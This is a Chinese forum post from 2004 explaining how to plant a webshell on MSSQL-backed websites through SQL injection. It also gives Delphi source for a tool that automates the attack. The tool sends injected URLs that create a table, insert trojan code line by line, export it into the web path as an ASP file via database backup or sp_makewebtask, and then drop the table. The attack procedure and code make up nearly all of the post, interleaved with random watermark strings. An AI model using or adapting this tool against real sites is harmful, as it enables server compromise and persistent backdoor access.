QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 3095|回复: 0
打印 上一主题 下一主题

SQL注入得到WEBSHELL

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 00:13 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<>一.通过SQL注入得到WEBSHELL的原理:
1 }% p+ E# Y# V$ kN.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。
' r) u  B# y( |8 {0 f  _分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有&lt;%%&gt;之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释&lt;%%&gt; 之内的语句呢?如果数据库中有的表中有&lt;%%&gt;标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。 . @3 K/ i  Z# c" A
再来看看CZY的方法吧。 4 E/ G: C; {  a6 L5 ?* s
CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。 0 U' }1 Q+ ^' ~6 q! i1 p: L! C
以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。
0 d- w+ B) u2 U* J二.利用DELPHI去实现功能的前言 ; N6 i$ w* l) C, _6 F4 R" A
原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。 8 w* S+ Z; o, n* B* m8 K

: j7 K/ O5 M! |0 Y, E三.如何利用DELPHI得到WEBSHELL。
/ N7 ~0 n2 x  X程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。
# y8 g% i" {. k8 f) Y4 e0 w首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图:
1 ~/ m5 v7 e7 G7 L. V* Y/ U4 B" L0 O( X, S! m. s) _
1 E+ c; `$ r1 I& |) x' t) a
4 Z8 }1 b& N$ g0 x2 i) o6 [
现在来写程序了。 8 Q+ t/ x: z# a; R; O3 B6 ]
我们首先定义一个RECORD。
* N* w6 P! _/ Y4 E8 o* T( S如下:8 ?: m, i! k) W4 j) R4 F
Type 6 V, m2 C9 C1 N  I4 b  A- h
SetOption = Record : z2 Y( g* g6 ?9 [
TableName : String; //用来保存要创建的表名.
$ b( T+ B4 Y: {! u8 DFieldName : String; //用来保存要创建的字段名. + ]; G" C! r' w8 p2 ]: M
FiledType : String; //用来保存创建的字段名类型.
8 R3 k/ A) ?- N" F. P5 @2 pEnd; . _5 q6 A: b/ N+ s5 U
FiledType字段类型的值是以下类型的一种:
4 N7 K# ?+ L6 D3 Z. LBigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint
/ e/ b( \/ s: {( d0 m5 Z( F0 vSmallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值. 2 Y! ^- d; Z  k2 Y( {* y/ O
再定义一个全局变量:
' r9 W& q; ~) C3 p" e$ W9 p9 hVar 5 j- I- v( B$ {# O
ISStop : Boolean; //用来判断用户是否按下了停止按纽.
- a3 f$ U8 a5 R' p' F* a6 _" p" W+ U好了。在表单创建的过程中,我们为RECORD记录输入默认值. / v! F0 [* k- A# P) O
代码如下:
+ Y+ J* X. {% Z( }/ `7 _procedure TMainForm.FormCreate(Sender: TObject);
; k: D# O2 ^( Xbegin 0 d  {% a+ @2 Y1 g5 Q
sOption.TableName :='cyfd'
. H: @& s" P! g5 C6 q) WsOption.FieldName :='gmemo'
; [* i9 H( o7 k- r, ysOption.FiledType :='text'
5 ^2 Z' r7 F- `2 d) f7 ]end; : H5 h, Q$ P6 Y" A5 n
现在我们添加开始执行命令的代码。
  a+ J# x, q4 b- M4 P5 o先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来.
$ }2 |4 ^8 p' X$ d. I. P) E+ X创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用.
4 w/ D& c  K+ k在程序开始执行前,我们得先检查一下用户的输入 . h2 `' m7 |* N9 {8 S
定义一个Checkinput函数. ) g& f7 P( f% M! R8 e- f1 y7 ^  B
如下: ' m( D& j3 @2 h5 h! L4 u4 n
Function CheckInput : Boolean;
' D/ P4 Y( T. H) BBegin ' @3 a# a! g& O  ]5 Z7 U# o
Result := False; + i6 x! I! A  {5 L
if Trim(urlet.Text) = '' then 1 F% `6 [5 x' ^' v. ?
Begin
& M9 t0 B- D+ E( {- X9 C6 x. c0 s! CApplication.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation);
: f( n, V4 s# B5 B# [" E, MExit;
" g$ }% l- X  c0 N  ?9 n+ dEnd;
) S1 q/ L( x" ?7 ]if Trim(ShellPathET.Text) = '' then
- V# j* \. Y8 ?5 |1 ]Begin 1 O; r6 u+ I% U2 B. z
Application.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation);
6 C- ~' t* M* AExit;
" h  u, z$ h1 t  A- B  t- v! |) ~End; / Z0 z0 C8 `' B3 m8 B  k
IF DefBDoor.Checked then 2 |: L% R" ?+ O$ y% y' E! A
Begin
. D; ~- \( ?; S+ [/ G: w$ f' ^0 x4 Wif Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then
) g, @$ h% b  O8 e- YBegin
! S1 G# C( p" E6 F2 U& fApplication.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation); 2 ~9 Z! e; |) L% Z% ~
Exit;
0 @4 c( A8 h& y, ^" }End; * w: Q" c* |1 @
End - }5 t. y4 W3 o( J. z  C, J7 F$ q( U
Else 6 x; W9 p/ a+ _
if Not FileExists(CustomBdoorET.Text) then
+ R' {1 f' X  L& _: q# R1 qBegin 3 h" v5 l+ C9 z6 s
Application.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation);
: ~- L* k. [" \: t. l& aExit; , r' w4 I/ z: }
End; # a: P1 _" v9 [* Q
Result := True; ' k" }  {0 r! i8 \3 u6 W$ U
End;
" y+ q$ ^! b4 \5 n1 h  y( ?% a在最开始加入:
1 M) o) ^( F) S& x$ A0 S) Q# Y1 D6 AIF Not CheckInput then Exit; //如果输入不合法就退出过程. ) B: W# q8 K) x. e$ W7 O
好了,如果用户输入没什么错,我们就来下面的代码。
. b$ \% {( W% X5 }) T$ ^首先我们把IsStop设为假。创建BdoorList。 / U; Q, {0 d' K& t# q) P$ Y9 D
BDoorList := TstringList.Create;
4 I: @' `: g" o  \% R6 v5 s8 h再加木马内容到BDoorlist. 3 t# v# A- U8 J7 Z
BDoorList.LoadFromFile(CustomBdoorET.text); " r! v* X7 @+ l
好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。
3 ?1 S6 J' U- ?- {: l代码如下:
6 U" G9 Y% d# k) A; y7 Y1 x; y) GBDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]);
/ g5 i: B* t! jBDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]); ' s9 N) B3 `% e
接下来.我们就提交建表的功能了. # s- Q- d( |! x7 c4 F' F7 E
Memo.Lines.Add('建表...');
. o: L. j2 n- ]/ E# i1 }. M; P) PMemo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);'); ( A- @8 D% ~0 O6 D  d, M1 z! W
这样我们就创建了一个表。然后.我们向表中加记录:
/ V/ C4 m  y9 x: _代码如下: 3 W. k/ U- v* q, B  h! A
Memo.Lines.Add('加数据...'); . d# t; X: u  a
Memo.Lines.Add(''); 0 w; M0 [$ B3 @. ~. c* s) r; Z) u
For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去. ; Q9 b- H6 R! M, }9 Z
Begin
% A0 G" [) M7 K5 R& n$ xIF IsStop then //这里如果点了停止按纽程序将终止任务. . S' Z; j2 f- ]7 Z
Begin / q9 a. y* U2 g8 j  K+ d
BDoorList.Free;
. z" @) R5 _5 ~3 {7 ^8 E$ MExit; 3 s: R4 y; S4 h5 y, s1 [
End; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');'); ! N* \( t: r2 V. a$ f/ x
Memo.Lines.Add('Add Line '+Inttostr(i+1)); : U/ a: o4 B' \% F
End;
; d' Y! o2 u% E/ b0 N现在就是导出数据生成木马了. & d& a' \6 U* g% W6 N- {
Memo.Lines.Add('导出数据...');
/ Q6 O" @% m' W2 l! mMemo.Lines.Add(''); 1 D8 j; q/ Q: W7 t6 s6 N) ^
IF BKData.Checked then //如果选中采用备份数据就执行下面的命令.
9 X- Y5 m* B% U4 o) K: r; ~, n- UNMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''') 8 \4 B9 v& d4 a% e
Else //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+''''); 2 `, l$ h5 }' N( Q  @& R5 ^
我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];');
( \' _. K/ v0 P4 ~这样我们的任务就完成了。下面来释放变量.
4 }0 P8 t1 I- v( P( A2 fBDoorList.Free; + g4 _/ B1 [# O5 C+ J
再来向停止按纽中添加点击事件: & @; h7 P$ P# X' H
一行代码就行了:IsStop := True;
5 p5 p: U( d5 j% h! c+ y  [到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
9 G. q2 A' `8 Q# e设置表单中先引用主表单.然后在界面中添加二个EDIT控件: ' V. d, @1 S2 U5 {
第一个名称为:TableNameET //保用户输入的存临时表 # @  e. w; i& {4 Q8 s
第二个名称为:FieldNameET //用来保存用户输入的字段名. 0 G2 k/ w+ Z& h. Y
再添加一个Combobox //用来保存用户所选的字段类型值. 7 M8 d0 c% f; Q6 w% t) W
名称:FieldTypeCombox * W, c0 y( b1 }3 J0 J
OK.界面如下: 1 C6 V$ v5 k4 w  V

- c8 y) u$ B* d+ f代码如下:
! x: N6 H; e9 W9 q! e( G) J- c5 _' ~定义一个过程,主表单好调用这个设置。
6 g9 r8 h$ K( u; [9 R. V: p4 t  [Procedure ShowSet; ' |. o1 Y: N& N3 A. r3 Z2 P6 |7 U
Begin
: _' V* a8 i; o, G% k3 W/ N2 EApplication.CreateForm(TSetForm,SetForm);
9 X" g8 h; [& q+ oWith SetForm do 5 d- p. f* s; i3 g5 x: f
Begin
9 }4 z" g0 B: X& g; v1 A' c- lTableNameET.Text := sOption.TableName;
5 g6 _4 `5 U! FFieldNameET.Text := sOption.FieldName;
) K5 z! j, b7 U2 j  N* CFieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType);
! L; Y7 l/ [0 w! J; C  ]1 XEnd; 7 ]! y, Z: l5 o
SetForm.ShowModal;   t- ]# O7 m3 ]" @. V% P& J- T1 V
SetForm.Free; # j: R" S+ b! @% _0 X
End; - ~" ^& h' n, \- e
在主表单中设置的点击事件中添加上showset过程就行了。 " N; k% D* J" r
下面就是点击确定的代码了。
8 A8 L. G8 ^0 T$ m7 n1 pIF CheckInput then 1 h/ S; N+ C, G
Begin
5 Q& u6 f; m. w% @  {sOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD.
# T0 K5 l+ g4 osOption.FieldName := Trim(FieldNameET.Text);
  W1 j$ F$ H* WsOption.FiledType := FieldTypeCombox.Text;
/ ~6 f) m: K6 X! RClose; ' A/ H/ r! X" W$ G. k* c
End; ( |* r1 {" {6 t( T& @2 L- O8 M# A' Z
这里又有一个CheckInput主要就是检查用户输入的值是不是合法。 " s! B& a; I  `5 S$ b2 \% b3 y
代码如下: ; q/ A3 c: }% p4 _& N. K
Function CheckInput : Boolean; 2 S& j2 [; |7 p2 q6 p
Begin
4 G2 r4 m7 z5 _! _Result := False;
+ \$ |, S% ~1 {6 {2 yIF Trim(TableNameET.Text)='' then
, A' G3 B. Q7 C- @- O4 oBegin 8 J$ }% q/ l3 n, g2 {
Application.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation); 3 o' P- H) Q8 n& T' x3 P3 h' E- g! }
Exit; 6 p& [! {4 w. f* o; |
End;
! h6 N+ T' C- p3 P3 p3 D8 QIF Trim(FieldNameET.Text)='' then 2 |7 c8 O9 f% T1 K: r9 t
Begin 4 {7 Q) O/ w5 a" w8 Z
Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation);
! C+ b- i: ]4 M% HExit;   h# b( N& w$ a9 R- Q5 t
End;
+ s/ `- u. ^* a2 _/ p5 PResult := True;
  C! B  |) \4 E: ]! J' B4 P9 oEnd;
0 f! z1 I' ~, A9 B4 |& ?' N" |) F8 l0 T到这里程序就完了。</P>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-8-9 18:55 , Processed in 3.531620 second(s), 51 queries .

回顶部